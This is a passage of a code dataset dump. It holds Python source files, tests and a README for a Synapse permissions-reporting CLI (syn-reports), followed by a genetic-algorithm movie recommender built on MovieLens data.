SynapseProxy.WithCache.get_user(user_id)\n self._display_principal(entity,\n entity_type,\n entity_project_id,\n permission_level,\n user,\n from_team_id=user_or_team.id,\n from_team_name=user_or_team.name,\n from_team_user_is_manager=is_team_manager)\n team_invites = SynapseProxy.WithCache.get_team_open_invitations(user_or_team.id)\n for team_invite in team_invites:\n user_id = team_invite.get('inviteeId', None)\n email = team_invite.get('inviteeEmail', None)\n if user_id is not None:\n user = SynapseProxy.WithCache.get_user(user_id)\n else:\n user = email\n self._display_principal(entity,\n entity_type,\n entity_project_id,\n permission_level,\n user,\n from_team_id=user_or_team.id,\n from_team_name=user_or_team.name,\n from_team_user_is_manager=is_team_manager,\n is_invite=True)\n\n\n except Exception as ex:\n self._show_error('Error loading ACL data: {0}'.format(ex))\n\n def _display_principal(self, entity, entity_type, entity_project_id, permission_level, user_or_team_or_email,\n from_team_id=None, from_team_name=None, from_team_user_is_manager=None,\n is_invite=False):\n indent = ' ' if from_team_id is None else ' '\n print('{0}---'.format(indent))\n principal_type = None\n team_name = None\n is_team_manager = from_team_user_is_manager\n team_id = None\n user_id = None\n username = None\n first_name = None\n last_name = None\n user_data = None\n\n if isinstance(user_or_team_or_email, syn.Team):\n principal_type = 'Team'\n team_name = user_or_team_or_email.name\n team_id = user_or_team_or_email.id\n print('{0}Team: {1} ({2})'.format(indent, team_name, team_id))\n elif user_or_team_or_email is None:\n principal_type = 'Unknown'\n print('{0}Username/Team: Unknown - Script user ({1}) may not have access to this user/team data.)'.format(\n indent, SynapseProxy._synapse_username))\n if from_team_name:\n print('{0}From Team: {1} ({2})'.format(indent, from_team_name, from_team_id))\n elif is_invite and isinstance(user_or_team_or_email, str):\n principal_type = 'Invite'\n username = user_or_team_or_email\n else:\n if is_invite:\n principal_type = 'Invite'\n else:\n principal_type = 'User'\n user_id = user_or_team_or_email.ownerId\n username = user_or_team_or_email.userName\n first_name = user_or_team_or_email.get('firstName', None)\n last_name = user_or_team_or_email.get('lastName', None)\n\n user_field_data = []\n for field in ['company', 'location', 'position']:\n if user_or_team_or_email.get(field, None):\n user_field_data.append(user_or_team_or_email.get(field))\n\n user_data = ' - '.join(user_field_data)\n\n if is_invite and user_id is None:\n print('{0}Invited Email: {1}'.format(indent, username))\n elif is_invite:\n print('{0}Invited Username: {1} ({2})'.format(indent, username, user_id))\n else:\n print('{0}Username: {1} ({2})'.format(indent, username, user_id))\n if from_team_name:\n print('{0}From Team: {1} ({2})'.format(indent, from_team_name, from_team_id))\n if first_name:\n print('{0}First Name: {1}'.format(indent, first_name))\n if last_name:\n print('{0}Last Name: {1}'.format(indent, last_name))\n if user_data:\n print('{0}User Data: {1}'.format(indent, user_data))\n if is_team_manager is not None:\n print('{0}Team Manager: {1}'.format(indent, is_team_manager))\n\n print('{0}Permission: {1}'.format(indent, permission_level))\n\n entity_parent_id = entity['parentId']\n # Do not include the parent ID for projects since no one has access to that container, and\n # it's not needed or useful.\n if SynapseProxy.is_project(entity):\n entity_parent_id = None\n\n if self._csv_writer:\n self._csv_writer.writerow({\n 'entity_type': entity_type,\n 'entity_id': entity['id'],\n 'entity_name': entity['name'],\n 'entity_parent_id': entity_parent_id,\n 'entity_project_id': entity_project_id,\n 'principal_type': principal_type,\n 'team_id': team_id or from_team_id,\n 'team_name': team_name or from_team_name,\n 'is_team_manager': is_team_manager,\n 'user_id': user_id,\n 'username': username,\n 'first_name': first_name,\n 'last_name': last_name,\n 'user_data': user_data,\n 'permission_level': permission_level\n })\n"
},
{
"alpha_fraction": 0.669445812702179,
"alphanum_fraction": 0.6718980073928833,
"avg_line_length": 38.21154022216797,
"blob_id": "e766ec31565ee328986523b0b44eacdbe1756b5b",
"content_id": "4a324e211491562701617959951f175d68fdd46c",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 2039,
"license_type": "permissive",
"max_line_length": 113,
"num_lines": 52,
"path": "/src/syn_reports/cli.py",
"repo_name": "pcstout/syn-reports",
"src_encoding": "UTF-8",
"text": "import argparse\nimport sys\n\nfrom .commands.team_members_report import cli as team_members_report_cli\nfrom .commands.benefactor_permissions_report import cli as benefactor_permissions_report_cli\nfrom .commands.entity_permissions_report import cli as entity_permissions_report_cli\nfrom .commands.user_project_access_report import cli as user_project_access_report_cli\nfrom .commands.user_teams_report import cli as user_teams_report_cli\nfrom .commands.team_access_report import cli as team_access_report_cli # TODO: Uncomment when fully implemented.\nfrom .core import SynapseProxy\nfrom ._version import __version__\n\nALL_ACTIONS = [\n benefactor_permissions_report_cli,\n entity_permissions_report_cli,\n user_project_access_report_cli,\n user_teams_report_cli,\n team_members_report_cli\n]\n\n\ndef main(args=None):\n shared_parser = argparse.ArgumentParser(add_help=False)\n shared_parser.add_argument('-u', '--username', help='Synapse username.', default=None)\n shared_parser.add_argument('-p', '--password', help='Synapse password.', default=None)\n\n main_parser = argparse.ArgumentParser(description='Synapse Reports')\n main_parser.add_argument('--version', action='version', version='%(prog)s {0}'.format(__version__))\n subparsers = main_parser.add_subparsers(title='Commands', dest='command')\n for action in ALL_ACTIONS:\n action.create(subparsers, [shared_parser])\n\n cmd_args = main_parser.parse_args(args)\n\n if '_execute' in cmd_args:\n try:\n SynapseProxy.configure(username=cmd_args.username, password=cmd_args.password)\n cmd = cmd_args._execute(cmd_args)\n if cmd.errors:\n print('Finished with errors.')\n for error in cmd.errors:\n print(error)\n sys.exit(1)\n else:\n print('Finished successfully.')\n sys.exit(0)\n except Exception as ex:\n print(ex)\n sys.exit(1)\n else:\n main_parser.print_help()\n sys.exit(1)\n"
},
{
"alpha_fraction": 0.7061224579811096,
"alphanum_fraction": 0.7346938848495483,
"avg_line_length": 39.83333206176758,
"blob_id": "fa4356daea4faad47f159d597f43dddad3143df2",
"content_id": "816a5d3441178f3fc31cad5cecc53aee42a8a269",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 245,
"license_type": "permissive",
"max_line_length": 65,
"num_lines": 6,
"path": "/tests/syn_reports/commands/entity_permissions_report/test_cli.py",
"repo_name": "pcstout/syn-reports",
"src_encoding": "UTF-8",
"text": "def test_it_returns_success(expect_cli_exit_code, syn_project):\n expect_cli_exit_code('entity-permissions', 0, syn_project.id)\n\n\ndef test_it_returns_failure(expect_cli_exit_code):\n expect_cli_exit_code('entity-permissions', 1, 'syn00000')\n"
},
{
"alpha_fraction": 0.6578947305679321,
"alphanum_fraction": 0.6842105388641357,
"avg_line_length": 32.25,
"blob_id": "56e89faa9fafd79e0a68808c1d2c5930ac7c4867",
"content_id": "9b8e9be27a5d9dc5fb8e5e5ef0594663f715b564",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 266,
"license_type": "permissive",
"max_line_length": 62,
"num_lines": 8,
"path": "/tests/syn_reports/commands/team_access_report/test_cli.py",
"repo_name": "pcstout/syn-reports",
"src_encoding": "UTF-8",
"text": "# TODO: NOTE, Not Implemented\n\n# def test_it_returns_success(expect_cli_exit_code, syn_team):\n# expect_cli_exit_code('team-access', 0, syn_team.id)\n#\n#\n# def test_it_returns_failure(expect_cli_exit_code):\n# expect_cli_exit_code('team-access', 1, 'syn00000')\n"
},
{
"alpha_fraction": 0.7046632170677185,
"alphanum_fraction": 0.7046632170677185,
"avg_line_length": 20.44444465637207,
"blob_id": "ebbe349842ca115f5d31aa2a78f0c43aeb7ee17b",
"content_id": "25143de04d8abd7ad8a61c023215d7a9b361a4ce",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 193,
"license_type": "permissive",
"max_line_length": 38,
"num_lines": 9,
"path": "/tests/syn_reports/core/test_utils.py",
"repo_name": "pcstout/syn-reports",
"src_encoding": "UTF-8",
"text": "import pytest\nfrom src.syn_reports.core import Utils\n\n\ndef test_eprint(capsys):\n err = 'a test error'\n Utils.eprint(err)\n captured = capsys.readouterr()\n assert err in captured.err\n"
},
{
"alpha_fraction": 0.8333333134651184,
"alphanum_fraction": 0.8333333134651184,
"avg_line_length": 41,
"blob_id": "cbc4c65e5e8f276607e6d825d794f127e460db00",
"content_id": "115351cc6b018c23bf519da44789b9fb297496c3",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 84,
"license_type": "permissive",
"max_line_length": 50,
"num_lines": 2,
"path": "/src/syn_reports/commands/team_members_report/__init__.py",
"repo_name": "pcstout/syn-reports",
"src_encoding": "UTF-8",
"text": "from .cli import create, execute\nfrom .team_members_report import TeamMembersReport\n"
},
{
"alpha_fraction": 0.596202552318573,
"alphanum_fraction": 0.596202552318573,
"avg_line_length": 22.939393997192383,
"blob_id": "09f04b80d4438109c1ab18844d79df4fd4f5a759",
"content_id": "8c981242878401f49954fce0610a5a1bcdf6167b",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 790,
"license_type": "permissive",
"max_line_length": 65,
"num_lines": 33,
"path": "/src/syn_reports/core/utils.py",
"repo_name": "pcstout/syn-reports",
"src_encoding": "UTF-8",
"text": "import os\nimport sys\nimport datetime\n\n\nclass Utils:\n @staticmethod\n def eprint(*args, **kwargs):\n \"\"\"Print to stderr\"\"\"\n print(*args, file=sys.stderr, **kwargs)\n\n @staticmethod\n def expand_path(local_path):\n var_path = os.path.expandvars(local_path)\n expanded_path = os.path.expanduser(var_path)\n return os.path.abspath(expanded_path)\n\n @staticmethod\n def ensure_dirs(local_path):\n \"\"\"Ensures the directories in local_path exist.\n\n Args:\n local_path: The local path to ensure.\n\n Returns:\n None\n \"\"\"\n if not os.path.isdir(local_path):\n os.makedirs(local_path)\n\n @staticmethod\n def timestamp_str():\n return datetime.datetime.now().strftime(\"%Y%m%d%H%M%S%f\")\n"
},
{
"alpha_fraction": 0.5749769806861877,
"alphanum_fraction": 0.5754370093345642,
"avg_line_length": 33.87700653076172,
"blob_id": "bddb51c94bf918fe0ae9f39ca545d3e8f9a6ba7e",
"content_id": "decd57b564ef6b2f32d1da2f2c0317ca9dbda572",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Markdown",
"length_bytes": 6522,
"license_type": "permissive",
"max_line_length": 118,
"num_lines": 187,
"path": "/README.md",
"repo_name": "pcstout/syn-reports",
"src_encoding": "UTF-8",
"text": "# Synapse Reporting\n\nUtilities for reporting on [Synapse](https://www.synapse.org/).\n\n## Dependencies\n\n- [Python3.7](https://www.python.org/)\n- A [Synapse](https://www.synapse.org/) account with a username/password. Authentication through a 3rd party (.e.g.,\n Google) will not work, you must have a Synapse user/pass for\n the [API to authenticate](http://docs.synapse.org/python/#connecting-to-synapse).\n\n## Install\n\n```bash\npip install syn-reports\n```\n\n## Configuration\n\nYour Synapse credential can be provided on the command line (`--username`, `--password`) or via environment variables.\n\n```bash\nSYNAPSE_USERNAME=your-synapse-username\nSYNAPSE_PASSWORD=your-synapse-password\n```\n\n## Usage\n\n```text\nusage: syn-reports [-h]\n {benefactor-permissions,entity-permissions,user-project-access,user-teams,team-members}\n ...\n\nSynapse Reports\n\noptional arguments:\n -h, --help show this help message and exit\n\nCommands:\n {benefactor-permissions,entity-permissions,user-project-access,user-teams,team-members}\n benefactor-permissions\n Report the unique permissions on a Synapse entity and\n all its child entities.\n entity-permissions Report the permissions of each user and team on a\n Synapse entity.\n user-project-access\n Report the projects a user has access to. NOTE: Only\n public projects or projects the user executing this\n script has access to will be reported.\n user-teams Report the teams a user is a member of.\n team-members Report the members on a team.\n```\n\n### entity-permissions\n\n```text\nusage: syn-reports entity-permissions [-h] [-u USERNAME] [-p PASSWORD]\n [-o OUT_PATH] [-r] [-a]\n entities [entities ...]\n\npositional arguments:\n entities The IDs and/or names of the entities to report on.\n\noptional arguments:\n -h, --help show this help message and exit\n -u USERNAME, --username USERNAME\n Synapse username.\n -p PASSWORD, --password PASSWORD\n Synapse password.\n -o OUT_PATH, --out-path OUT_PATH\n Path to export the report to. Specify a path that ends\n in \".csv\" to export to a specific file otherwise a\n timestamped filename will be created in the out-path.\n -r, --recursive Recursively report permissions on child entities. Will\n report on each sub-folder/file/table that has\n different permissions from the starting entity.\n -a, --all Report permissions on every entity regardless of the\n parent permission.\n```\n\n### benefactor-permissions\n\n```text\nsage: syn-reports benefactor-permissions [-h] [-u USERNAME] [-p PASSWORD]\n [-o OUT_PATH]\n entities [entities ...]\n\npositional arguments:\n entities The IDs and/or names of the entities to report on.\n\noptional arguments:\n -h, --help show this help message and exit\n -u USERNAME, --username USERNAME\n Synapse username.\n -p PASSWORD, --password PASSWORD\n Synapse password.\n -o OUT_PATH, --out-path OUT_PATH\n Path to export the report to. Specify a path that ends\n in \".csv\" to export to a specific file otherwise a\n timestamped filename will be created in the out-path.\n```\n\n### user-project-access\n\n```text\nusage: syn-reports user-project-access [-h] [-u USERNAME] [-p PASSWORD]\n [-o OUT_PATH]\n users [users ...]\n\npositional arguments:\n users The IDs and/or usernames of the users to report on.\n\noptional arguments:\n -h, --help show this help message and exit\n -u USERNAME, --username USERNAME\n Synapse username.\n -p PASSWORD, --password PASSWORD\n Synapse password.\n -o OUT_PATH, --out-path OUT_PATH\n Path to export the report to. Specify a path that ends\n in \".csv\" to export to a specific file otherwise a\n timestamped filename will be created in the out-path.\n```\n\n### user-teams\n\n```text\nusage: syn-reports user-teams [-h] [-u USERNAME] [-p PASSWORD] [-o OUT_PATH]\n [--has-member [HAS_MEMBER]]\n users [users ...]\n\npositional arguments:\n users The IDs and/or usernames of the users to report on.\n\noptional arguments:\n -h, --help show this help message and exit\n -u USERNAME, --username USERNAME\n Synapse username.\n -p PASSWORD, --password PASSWORD\n Synapse password.\n -o OUT_PATH, --out-path OUT_PATH\n Path to export the report to. Specify a path that ends\n in \".csv\" to export to a specific file otherwise a\n timestamped filename will be created in the out path.\n --has-member [HAS_MEMBER]\n Only report teams that also have this user in the\n team.\n```\n\n### team-members\n\n```text\nusage: syn-reports team-members [-h] [-u USERNAME] [-p PASSWORD] [-o OUT_PATH]\n teams [teams ...]\n\npositional arguments:\n teams The IDs and/or names of the teams to report on.\n\noptional arguments:\n -h, --help show this help message and exit\n -u USERNAME, --username USERNAME\n Synapse username.\n -p PASSWORD, --password PASSWORD\n Synapse password.\n -o OUT_PATH, --out-path OUT_PATH\n Path to export the report to. Specify a path that ends\n in \".csv\" to export to a specific file otherwise a\n timestamped filename will be created in the out path.\n```\n\n## Development Setup\n\n```bash\npipenv --three\npipenv shell\nmake pip_install\nmake build\nmake install_local\n```\n\nSee [Makefile](Makefile) for all commands.\n\n### Testing\n\n- Create and activate a virtual environment:\n- Rename [.env-template](.env-template) to [.env](.env) and set each of the variables.\n- Run the tests: `make test`\n"
},
{
"alpha_fraction": 0.7056604027748108,
"alphanum_fraction": 0.7358490824699402,
"avg_line_length": 43.16666793823242,
"blob_id": "0cb2fb8ea7e2f23c00e98e4905d45e740528bea4",
"content_id": "5438758f402c1651d739ae3342a047981dc906ad",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 265,
"license_type": "permissive",
"max_line_length": 87,
"num_lines": 6,
"path": "/tests/syn_reports/commands/user_project_access_report/test_cli.py",
"repo_name": "pcstout/syn-reports",
"src_encoding": "UTF-8",
"text": "def test_it_returns_success(expect_cli_exit_code, syn_client):\n expect_cli_exit_code('user-project-access', 0, syn_client.getUserProfile().ownerId)\n\n\ndef test_it_returns_failure(expect_cli_exit_code):\n expect_cli_exit_code('user-project-access', 1, '000000')\n"
},
{
"alpha_fraction": 0.5073989033699036,
"alphanum_fraction": 0.5097007751464844,
"avg_line_length": 41.23611068725586,
"blob_id": "a9390584628a02cb557e9e535a322fd2f55c4ba8",
"content_id": "89a475a9ab88b65f7a47261085c7e469b0fffac3",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 6082,
"license_type": "permissive",
"max_line_length": 112,
"num_lines": 144,
"path": "/src/syn_reports/commands/user_project_access_report/user_project_access_report.py",
"repo_name": "pcstout/syn-reports",
"src_encoding": "UTF-8",
"text": "import functools\nimport os\nimport csv\nimport synapseclient as syn\nfrom ...core import SynapseProxy, Utils\n\n\nclass UserProjectAccessReport:\n \"\"\"\n This report will show all the Projects a user has access to.\n NOTE: Only public projects or projects the user executing this script has access to will be reported.\n This is a Synapse limitation.\n \"\"\"\n\n def __init__(self, user_ids_or_usernames, out_path=None):\n self._user_ids_or_usernames = user_ids_or_usernames\n if self._user_ids_or_usernames and not isinstance(self._user_ids_or_usernames, list):\n self._user_ids_or_usernames = [self._user_ids_or_usernames]\n self._out_path = Utils.expand_path(out_path) if out_path else None\n self._csv_full_path = None\n self._csv_file = None\n self._csv_writer = None\n self.errors = []\n\n CSV_HEADERS = ['user_id',\n 'username',\n 'first_name',\n 'last_name',\n 'project_id',\n 'project_name',\n 'permission_level']\n\n def execute(self):\n SynapseProxy.login()\n\n if self._out_path:\n if self._out_path.lower().endswith('.csv'):\n self._csv_full_path = self._out_path\n else:\n self._csv_full_path = os.path.join(self._out_path,\n 'user-access-{0}.csv'.format(Utils.timestamp_str()))\n Utils.ensure_dirs(os.path.dirname(self._csv_full_path))\n self._csv_file = open(self._csv_full_path, mode='w', newline='', encoding='utf-8')\n self._csv_writer = csv.DictWriter(self._csv_file,\n delimiter=',',\n quotechar='\"',\n fieldnames=self.CSV_HEADERS,\n quoting=csv.QUOTE_ALL)\n self._csv_writer.writeheader()\n try:\n for id_or_name in self._user_ids_or_usernames:\n print('=' * 80)\n print('Looking up user: \"{0}\"...'.format(id_or_name))\n\n try:\n user = SynapseProxy.client().getUserProfile(id_or_name, refresh=True)\n except ValueError:\n # User does not exist\n user = None\n\n if user:\n user_id = user.ownerId\n username = user.userName\n first_name = user.get('firstName', None)\n last_name = user.get('lastName', None)\n print(' Username: {0} ({1})'.format(username, user_id))\n if first_name:\n print(' First Name: {0}'.format(first_name))\n if last_name:\n print(' Last Name: {0}'.format(last_name))\n\n for activity in SynapseProxy.users_project_access(user_id):\n project_id = activity['id']\n project_name = activity['name']\n users_permission = self._get_permissions(project_id, principal_id=user_id)\n permission_level = SynapseProxy.Permissions.name(users_permission)\n\n print(' Project: {0} ({1}) [{2}]'.format(project_name, project_id, permission_level))\n if self._csv_writer:\n self._csv_writer.writerow({\n 'user_id': user_id,\n 'username': username,\n 'first_name': first_name,\n 'last_name': last_name,\n 'project_id': project_id,\n 'project_name': project_name,\n 'permission_level': permission_level\n })\n else:\n self._show_error('Could not find user matching: {0}'.format(id_or_name))\n finally:\n if self._csv_file:\n self._csv_file.close()\n if self._csv_full_path:\n print('')\n print('Report saved to: {0}'.format(self._csv_full_path))\n return self\n\n def _get_permissions(self, entity, principal_id):\n \"\"\"Get the permissions that a user or group has on an Entity.\n\n :param entity: An Entity or Synapse ID to lookup\n :param principal_id: Identifier of a user or group\n\n :returns: An array containing some combination of\n ['READ', 'CREATE', 'UPDATE', 'DELETE', 'CHANGE_PERMISSIONS', 'DOWNLOAD']\n or an empty array\n \"\"\"\n # TODO: make this method return the highest permission the user has.\n principal_id = SynapseProxy.client()._getUserbyPrincipalIdOrName(principal_id)\n acl = SynapseProxy.client()._getACL(entity)\n\n # Look for the principal's individual permission on the entity.\n for resource in acl['resourceAccess']:\n if 'principalId' in resource and resource['principalId'] == int(principal_id):\n return resource['accessType']\n\n # Look for the principal's permission via a team on the entity.\n teams = self._get_users_teams(principal_id)\n team_ids = [int(t['id']) for t in teams]\n for resource in acl['resourceAccess']:\n if resource['principalId'] in team_ids:\n return resource['accessType']\n\n return []\n\n @functools.lru_cache(maxsize=SynapseProxy.WithCache.LRU_MAXSIZE, typed=True)\n def _get_users_teams(self, user_id):\n \"\"\"Get all the teams a user is part of.\n\n Args:\n user_id: The user ID to get teams for.\n\n Returns:\n List\n \"\"\"\n try:\n return list(SynapseProxy.users_teams(user_id))\n except syn.core.exceptions.SynapseHTTPError:\n return []\n\n def _show_error(self, msg):\n self.errors.append(msg)\n Utils.eprint(msg)\n"
},
{
"alpha_fraction": 0.8307692408561707,
"alphanum_fraction": 0.8307692408561707,
"avg_line_length": 31.5,
"blob_id": "38fdc889d1f094e18d9390e95e2cef04b990c954",
"content_id": "bfc4547c37a263ccde340f31cd88669a9ed32a82",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 65,
"license_type": "permissive",
"max_line_length": 39,
"num_lines": 2,
"path": "/src/syn_reports/core/__init__.py",
"repo_name": "pcstout/syn-reports",
"src_encoding": "UTF-8",
"text": "from .synapse_proxy import SynapseProxy\nfrom .utils import Utils\n"
}
] | 39 |
RishabRanga/Movie-Recommender-GA- | https://github.com/RishabRanga/Movie-Recommender-GA- | 2babe1bb812d0adfc573df8f96134449bf83c97e | 34b561bb8c1142525907889b9ff7076012ec7171 | 3d85f09b57dd1a25a9537afe462fb2ae8e7799e7 | refs/heads/master | 2021-01-17T21:14:04.986563 | 2017-04-17T08:50:05 | 2017-04-17T08:50:05 | 84,168,626 | 0 | 1 | null | null | null | null | null | [
{
"alpha_fraction": 0.5820075273513794,
"alphanum_fraction": 0.594446063041687,
"avg_line_length": 34.63917541503906,
"blob_id": "479290c1b3ed35e83aac277326e94cab1f354eaf",
"content_id": "7d4f3c76af00eebe8ab8bc36db7f6fa6fb0e2903",
"detected_licenses": [
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 3457,
"license_type": "permissive",
"max_line_length": 159,
"num_lines": 97,
"path": "/ga.py",
"repo_name": "RishabRanga/Movie-Recommender-GA-",
"src_encoding": "UTF-8",
"text": "import random\nimport csv\nimport copy\nimport sys\nimport numpy as np\nimport random\n\n#from NB import Naive_Bayes\n#from NB_int import *\n#from sklearn.naive_bayes import GaussianNB\n\nclass GA_model(object):\n def __init__(self, population, cross_over_rate, mutation_rate, no_of_parameters, fitness_callback):\n self.cross_over_rate = cross_over_rate\n self.mutation_rate = mutation_rate\n self.no_of_parameters = no_of_parameters\n self.fitness_callback = fitness_callback\n self.population = population\n self.pop_size = len(population)\n self.chromo_size = len(population[0])\n self.fitness = [0] * self.pop_size\n\n def fitness_fun(self, input, utility_matrix):\n accuracy=[]\n for i in range(1,11):\n accuracy.append(self.fitness_callback(i,944,utility_matrix,input))\n return max(accuracy)\n\n def compute_fitness(self, utility_matrix):\n for i in range(self.pop_size):\n self.fitness[i] = self.fitness_fun(self.population[i], utility_matrix)\n\n\n if max(self.fitness) == 1:\n print \"Done, features are - \", self.population[self.fitness.index(min(self.fitness))]\n sys.exit()\n\n\n def roulette_selection(self):\n probability = []\n total_fitness = sum(self.fitness)\n\n # Individual probability\n for chromo_fit in self.fitness:\n probability.append(float(chromo_fit / total_fitness))\n\n # Cumulative Probability\n for i in range(1, self.pop_size):\n probability[i] += probability[i-1]\n\n updated_population = copy.deepcopy(self.population)\n\n for i in range(self.pop_size):\n r = random.random()\n\n if r < probability[0]:\n updated_population[i] = self.population[0]\n else:\n for j in range(1, self.pop_size):\n if r >= probability[j-1] and r < probability[j]:\n updated_population[i] = self.population[j]\n break\n self.population = updated_population\n\n\n def cross_over(self):\n # Choose some chromosomes\n selected = []\n for i in range(self.pop_size):\n if random.random() < self.cross_over_rate:\n selected.append([self.population[i], i])\n\n # Perform cross-over to get children\n if len(selected) > 2:\n for i in range(len(selected) - 1):\n cross_point = random.randint(1, self.chromo_size - 1)\n selected[i][0][cross_point:], selected[i+1][0][cross_point:] = selected[i+1][0][cross_point:], selected[i][0][cross_point:]\n\n # Get child of first and last\n cross_point = random.randint(1, self.chromo_size - 1)\n selected[0][0][cross_point:], selected[len(selected)-1][0][cross_point:] = selected[len(selected)-1][0][cross_point:], selected[0][0][cross_point:]\n\n # Update population\n for chromo in selected:\n self.population[chromo[1]] = chromo[0]\n\n\n def mutation(self):\n total_genes = self.pop_size * self.chromo_size\n\n for i in range(int(self.mutation_rate * total_genes)):\n chromo = random.randint(0, self.pop_size - 1)\n gene = random.randint(0, self.chromo_size - 1)\n\n update = random.randint(0, self.no_of_parameters - 1)\n if update not in self.population[chromo]:\n self.population[chromo][gene] = update\n"
},
{
"alpha_fraction": 0.5756128430366516,
"alphanum_fraction": 0.5966113805770874,
"avg_line_length": 30.256338119506836,
"blob_id": "f1c743a7e74469c103dfeada5795984837137475",
"content_id": "de42faa837715ae882d9722287761853e4bc0bfc",
"detected_licenses": [
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 11096,
"license_type": "permissive",
"max_line_length": 143,
"num_lines": 355,
"path": "/recommendation_eval.py",
"repo_name": "RishabRanga/Movie-Recommender-GA-",
"src_encoding": "UTF-8",
"text": "\"\"\"\nClustering\n\"\"\"\nfrom movielens import *\nfrom ga_movie import GA_model, Chromosome\n\nimport csv\nimport sys\nimport time\nimport copy\nimport pickle\n\nimport numpy as np\nfrom sklearn.cluster import KMeans\nfrom sklearn.metrics import mean_squared_error\nfrom sklearn.preprocessing import LabelEncoder\n\nSIZE_OF_POPULATION = 50\nCHROMOSOME_SIZE = 10\n\n\n# Store data in arrays\nuser = []\nitem = []\nrating = []\nrating_test = []\n\n# Load the movie lens dataset into arrays\nd = Dataset()\nd.load_users(\"data/u.user\", user)\nd.load_items(\"data/u.item\", item)\nd.load_ratings(\"data/u.base\", rating)\nd.load_ratings(\"data/u.test\", rating_test)\n\nn_users = len(user)\nn_items = len(item)\n\n# The utility matrix stores the rating for each user-item pair in the\n# matrix form.\nutility = np.zeros((n_users, n_items))\nfor r in rating:\n utility[r.user_id - 1][r.item_id - 1] = r.rating\n\n\ntest = np.zeros((n_users, n_items))\nfor r in rating_test:\n test[r.user_id - 1][r.item_id - 1] = r.rating\n\n# Perform clustering on items\nmovie_genre = []\nfor movie in item:\n movie_genre.append([movie.unknown, movie.action, movie.adventure, movie.animation, movie.childrens, movie.comedy,\n movie.crime, movie.documentary, movie.drama, movie.fantasy, movie.film_noir, movie.horror,\n movie.musical, movie.mystery, movie.romance, movie.sci_fi, movie.thriller, movie.war, movie.western])\n\nmovie_genre = np.array(movie_genre)\ncluster = KMeans(n_clusters=19)\ncluster.fit_predict(movie_genre)\nwith open(\"cluster.pkl\", \"w\") as fp:\n pickle.dump(cluster, fp)\n\nutility_clustered = []\nfor i in range(0, n_users):\n average = np.zeros(19)\n tmp = []\n for m in range(0, 19):\n tmp.append([])\n for j in range(0, n_items):\n if utility[i][j] != 0:\n tmp[cluster.labels_[j] - 1].append(utility[i][j])\n for m in range(0, 19):\n if len(tmp[m]) != 0:\n average[m] = np.mean(tmp[m])\n else:\n average[m] = 0\n utility_clustered.append(average)\n\nutility_clustered = np.array(utility_clustered)\n\n# Find the average rating for each user and stores it in the user's object\nfor i in range(0, n_users):\n x = utility_clustered[i]\n user[i].avg_r = sum(a for a in x if a > 0) / sum(a > 0 for a in x)\n user[i].min_r = min(x)\n user[i].max_r = max(x)\n\n# Find the Pearson Correlation Similarity Measure between two users\ndef similarity(x, y):\n num = 0\n den1 = 0\n den2 = 0\n A = utility_clustered[x - 1]\n B = utility_clustered[y - 1]\n num = sum((a - user[x - 1].avg_r) * (b - user[y - 1].avg_r) for a, b in zip(A, B) if a > 0 and b > 0)\n den1 = sum((a - user[x - 1].avg_r) ** 2 for a in A if a > 0)\n den2 = sum((b - user[y - 1].avg_r) ** 2 for b in B if b > 0)\n den = (den1 ** 0.5) * (den2 ** 0.5)\n if den == 0:\n return 0\n else:\n return num / den\n\ndef similarity_utility(x, y, ut, user):\n num = 0\n den1 = 0\n den2 = 0\n A = ut[x - 1]\n B = ut[y - 1]\n num = sum((a - user[x - 1].avg_r) * (b - user[y - 1].avg_r) for a, b in zip(A, B) if a > 0 and b > 0)\n den1 = sum((a - user[x - 1].avg_r) ** 2 for a in A if a > 0)\n den2 = sum((b - user[y - 1].avg_r) ** 2 for b in B if b > 0)\n den = (den1 ** 0.5) * (den2 ** 0.5)\n if den == 0:\n return 0\n else:\n return num / den\n\nuserData=[]\nfor i in user:\n userData.append([i.id, i.sex, i.age, i.occupation, i.zip])\n\nle = LabelEncoder()\nle.fit([a[3] for a in userData])\nle2 = LabelEncoder()\nle2.fit([a[1] for a in userData])\nle3 = LabelEncoder()\nle3.fit([a[4] for a in userData])\n\nuserData=[]\nfor i in user:\n userData.append([i.id, int(le2.transform([i.sex])), i.age, int(le.transform([i.occupation])), int(le3.transform([i.zip]))])\n\n\nuserCluster = KMeans(n_clusters=6)\nuserCluster.fit_predict(userData)\n\nfor i in range(n_users):\n userCluster.labels_[i]\n\n#print len(userCluster.labels_)\n\nsimilarity_matrix = np.zeros((n_users, n_users))\ns = time.time()\nfor i in range(0, n_users):\n for j in range(0, n_users):\n if userCluster.labels_[i]!=userCluster.labels_[j]:\n similarity_matrix[i][j]=0\n continue\n if i != j:\n similarity_matrix[i][j] = similarity(i + 1, j + 1)\n sys.stdout.write(\"\\rGenerating Similarity Matrix [%d:%d] = %f\" % (i+1, j+1, similarity_matrix[i][j]))\n sys.stdout.flush()\n time.sleep(0.00005)\nprint \"\\rGenerating Similarity Matrix [%d:%d] = %f\" % (i+1, j+1, similarity_matrix[i][j])\n# print time.time()-s\n# Guesses the ratings that user with id, user_id, might give to item with id, i_id.\n# We will consider the top_n similar users to do this.\ndef norm():\n normalize = np.zeros((n_users, 19))\n for i in range(0, n_users):\n for j in range(0, 19):\n if utility_clustered[i][j] != 0:\n normalize[i][j] = utility_clustered[i][j] - user[i].avg_r\n else:\n normalize[i][j] = float('Inf')\n return normalize\n\ndef guess(user_id, i_id, 